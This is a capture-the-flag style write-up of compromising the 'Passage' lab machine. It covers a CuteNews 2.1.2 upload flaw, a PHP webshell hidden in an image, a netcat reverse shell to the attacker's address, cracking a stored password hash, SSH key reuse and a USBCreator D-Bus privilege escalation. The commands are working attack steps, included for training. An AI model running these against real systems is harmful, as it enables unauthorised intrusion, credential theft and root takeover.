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Passage

10.10.10.206

InfoGathering

SCOPE

SERVICES

SSH

HTTP
APPLICATION: CuteNews Version 2.1.2 
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SOURCE: https://cutephp.com/

HOME PAGE: http://10.10.10.206

LOGIN PAGE: http://10.10.10.206/CuteNews/
REGISTER ACCOUNT PAGE: http://passage.htb/CuteNews/index.php?register

I was able to register for an account and sign in. 

SCREENSHOT EVIDENCE OF SIGN IN USING REGISTERED ACCOUNT
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When I click the “Visit Site” link it takes me too http://passage.htb/ 
I added passage.htb to my /etc/hosts file and restarted Firefox

Gaining Access
Knowing the version of the application running I searched the exploit database for CVE's

# Command Executed
searchsploit cutenews 2.1.2
# RESULTS
CuteNews 2.1.2 - Authenticated Arbitrary File Upload | php/webapps/48458.txt

SCREENSHOT EVIDENCE OF RESULTS
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I examined the available Authenticated Arbitrary File Upload vulnerability. The description informed me in the “Media 
Manager” area, users with low privileges can bypas file upload restrictions which results in arbitrary RCE. This matches my 
current situation as I registered for an account with a low privileged user.

# Command Executed
searchsploit -x php/webapps/48458.txt
# RESULTS
Description:
------------------------------------------------------------------------
In the "Media Manager" area, Users with low privileges (Editor) can bypass
file upload restrictions, resulting in arbitrary command execution.

To use this vulnerability I am going to place simple PHP webshell code into an image file that I named shell.png. I then 
renamed the file to have a php extension. This is to ensure the PHP code gets executed.

# Command Executed
exiftool -Comment='<?php echo "<pre>"; > system($_GET['cmd']); ?>' shell.png;
cp shell.png legion.php

I then went to the Personal Options area for my user and uploaded the image as my Avatar and clicked Saved Changes
LINK TO PERSONAL OPTIONS: http://passage.htb/CuteNews/index.php?mod=main&opt=personal

SCREENSHOT EVIDENCE OF UPLOAD FILE SETTINGS
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Uploaded files can be found in the URI directory http://passage.htb/CuteNews/uploads/

SCREENSHOT EVIDENCE OF UPLOADED AVATAR IMAGE
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I was then able to execute commands using the webshell
CMD LINK: http://passage.htb/CuteNews/uploads/avatar_tobor_legion2.php?cmd=id

SCREENSHOT EVIDENCE OF WEBSHELL

I used the webshell to obtain a reverse shell
I started a Metasploit Listener

# Commands Executed
msfconsole
use multi/handler
set payload linux/x64/shell_reverse_tcp
set LHOST 10.10.14.42
set LPORT 1337
run
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CMD LINK REV SHELL: http://passage.htb/CuteNews/uploads/avatar_tobor_legion2.php?cmd=nc%2010.10.14.42%201337%
20-e%20/bin/bash 

SCREENSHOT EVIDENCE OR REVERSE SHELL

In my enumeration I discovered the directory /var/www/html/CuteNews/cdata/users contained base64 encoded information. 
Decoding some of the base64 revealed password hashes
I translated the base64 information in each file to obtain a list of password hashes and usernames. I discovered the username 
that I registered was also listed.

ADMIN HASH

# Commands Executed
echo 
'YToxOntzOjQ6Im5hbWUiO2E6MTp7czo1OiJhZG1pbiI7YTo4OntzOjI6ImlkIjtzOjEwOiIxNTkyNDgzMDQ3IjtzOjQ6Im5hbWUiO3M6N
ToiYWRtaW4iO3M6MzoiYWNsIjtzOjE6IjEiO3M6NToiZW1haWwiO3M6MTc6Im5hZGF2QHBhc3NhZ2UuaHRiIjtzOjQ6InBhc3MiO3M6NjQ
6IjcxNDRhOGI1MzFjMjdhNjBiNTFkODFhZTE2YmUzYTgxY2VmNzIyZTExYjQzYTI2ZmRlMGNhOTdmOWUxNDg1ZTEiO3M6MzoibHRzIjtzO
jEwOiIxNTkyNDg3OTg4IjtzOjM6ImJhbiI7czoxMDoiMTU5OTQzODI3OCI7czozOiJjbnQiO3M6MToiMiI7fX19' | base64 -d
# RESULTS
a:1:{s:4:"name";a:1:{s:5:"admin";a:8:
{s:2:"id";s:10:"1592483047";s:4:"name";s:5:"admin";s:3:"acl";s:1:"1";s:5:"email";s:17:"nadav@passage.htb";
s:4:"pass";s:64:"7144a8b531c27a60b51d81ae16be3a81cef722e11b43a26fde0ca97f9e1485e1";s:3:"lts";s:10:"1592487
988";s:3:"ban";s:10:"1599438278";s:3:"cnt";s:1:"2";}}}

PAUL HASH

# Command Executed
echo 
'YToxOntzOjQ6Im5hbWUiO2E6MTp7czoxMDoicGF1bC1jb2xlcyI7YTo5OntzOjI6ImlkIjtzOjEwOiIxNTkyNDgzMjM2IjtzOjQ6Im5hb
WUiO3M6MTA6InBhdWwtY29sZXMiO3M6MzoiYWNsIjtzOjE6IjIiO3M6NToiZW1haWwiO3M6MTY6InBhdWxAcGFzc2FnZS5odGIiO3M6NDo
ibmljayI7czoxMDoiUGF1bCBDb2xlcyI7czo0OiJwYXNzIjtzOjY0OiJlMjZmM2U4NmQxZjgxMDgxMjA3MjNlYmU2OTBlNWQzZDYxNjI4Z
jQxMzAwNzZlYzZjYjQzZjE2ZjQ5NzI3M2NkIjtzOjM6Imx0cyI7czoxMDoiMTU5MjQ4NTU1NiI7czozOiJiYW4iO3M6MToiMCI7czozOiJ
jbnQiO3M6MToiMiI7fX19' | base64 -d
# RESULTS
a:1:{s:4:"name";a:1:{s:10:"paul-coles";a:9:{s:2:"id";s:10:"1592483236";s:4:"name";s:10:"paul-
coles";s:3:"acl";s:1:"2";s:5:"email";s:16:"paul@passage.htb";s:4:"nick";s:10:"Paul 
Coles";s:4:"pass";s:64:"e26f3e86d1f8108120723ebe690e5d3d61628f4130076ec6cb43f16f497273cd";s:3:"lts";s:10:"
1592485556";s:3:"ban";s:1:"0";s:3:"cnt";s:1:"2";}}}

SCREENSHOT EVIDENCE OF PASSWORD HASH

USER: paul
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HASH: e26f3e86d1f8108120723ebe690e5d3d61628f4130076ec6cb43f16f497273cd
PASS: atlanta1

USER: admin
HASH: 7144a8b531c27a60b51d81ae16be3a81cef722e11b43a26fde0ca97f9e1485e1

Knowing that these are all hashes to enter the application I checked the /etc/passwd file for any matching usernames. I 
discovered paul has a user account on the machine. I then cracked his password. 

# Commands Executed
hashid e26f3e86d1f8108120723ebe690e5d3d61628f4130076ec6cb43f16f497273cd
echo 'e26f3e86d1f8108120723ebe690e5d3d61628f4130076ec6cb43f16f497273cd' > paul.hash
john --format=raw-sha256 --wordlist=/usr/share/wordlists/rockyou.txt paul.hash

SCREENSHOT EVIDENCE OF CRACKED PASSWORD

I then was able to su as Paul

# Commands Executed
su paul
Password: atlanta1

Inside Pauls home directory is an SSH key for Paul which created persistence

# Commands Executed
cat /home/paul/.ssh/id_rsa > paul.key
chmod 600 paul.key
ssh -p 22 -i paul.key paul@passage.htb

CONTENTS OF paul.key

-----BEGIN RSA PRIVATE KEY----------END RSA PRIVATE KEY-----



9/11

SCREENSHOT EVIDENCE OF PAUL SSH ACCESS

As Paul I am able to read the user flag

# Commands Executed
cat /home/paul/user.txt
# RESULTS
e8a7d0453181ac7413eb8961d3a95ffc

SCREENSHOT EVIDENCE OF USER FLAG

USER FLAG: e8a7d0453181ac7413eb8961d3a95ffc

PrivEsc
It turned out that I am able to use the same SSH key for Nadav as Paul. This allowed me SSH persistent access as Nadav

# Command Executed
ssh -p 22 -i paul.key nadav@passage.htb

SCREENSHOT EVIDENCE OF NADAV SSH ACCESS

Initial enumeration discovers that Nadav is a member of the sudoers group.
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# Command Executed
id nadav
# RESULTS
uid=1000(nadav) gid=1000(nadav) groups=1000(nadav),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),113
(lpadmin),128(sambashare)

The sudo version is out of date running version 1.8.16. This is vulnerable to CVE-2016-7076. In order to exploit this version 
however requires the noexec defaults setting is enabled or the NOEXEC tag is applied to a command that calls the wordexp() 
function without specifying the WRDE_NOCMD flag. The sudo version should be upgraded by the person paying for this 
penetration test
RESOURCE: https://www.sudo.ws/alerts/noexec_wordexp.html

# Commands Executed
sudo -V

SCREENSHOT OF SUDO VERSION

In my enumeration of running processes I disocver that root is executing a python3 command which implies a user most likely 
set this up.

# Commands Executed
ps aux | grep usb
# RESULTS
root 2564 0.0 0.4 235552 19848 ? Sl 18:42 0:00 /usr/bin/python3 /usr/share/usb-creator/usb-creator-helper

SCREENSHOT OF ROOT PROCESS

Running a web search for “nadav usb dbus” I discovered the below vulnerability
RESOURCE: https://unit42.paloaltonetworks.com/usbcreator-d-bus-privilege-escalation-in-ubuntu-desktop/

For this vulnerability to work I need to be a member of the sudoers group and have execute privileges on the dbus tool
I verified I have these permissions

# Commands Executed
id nadav
find / -perm -u=s -type f 2> /dev/null | grep dbus

SCREENSHOT EVIDENCE OF REQUIRED PERMISSIONS

I then took advantage of the com.ubuntu.USBCreator service as this is the one from the paper that can act on behalf of an 
unprivileged user with no authentication. I added my ssh key to nadav's authorized keys and copied that file to the root users 
authorized keys file

# Commands Executed
echo 'ssh-rsa AAAA...== root@kali' > ~/.ssh/authorized_keys
gdbus call --system --dest com.ubuntu.USBCreator --object-path /com/ubuntu/USBCreator --method 
com.ubuntu.USBCreator.Image /home/nadav/.ssh/authorized_keys /root/.ssh/authorized_keys true
# RESULTS
()

SCREENSHOT EVIDENCE OF EXPLOIT CMD
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I was then able to SSH in as the root user and read the root flag

# Commands Executed
ssh -p 22 -i /root/.ssh/id_rsa root@passage.htb
cat /root/root.txt
# RESULTS
4f78ab2f4b603f173dc65ceedafaedd3

SCREENSHOT EVIDENCE OF ROOT FLAG

ROOT FLAG: 4f78ab2f4b603f173dc65ceedafaedd3


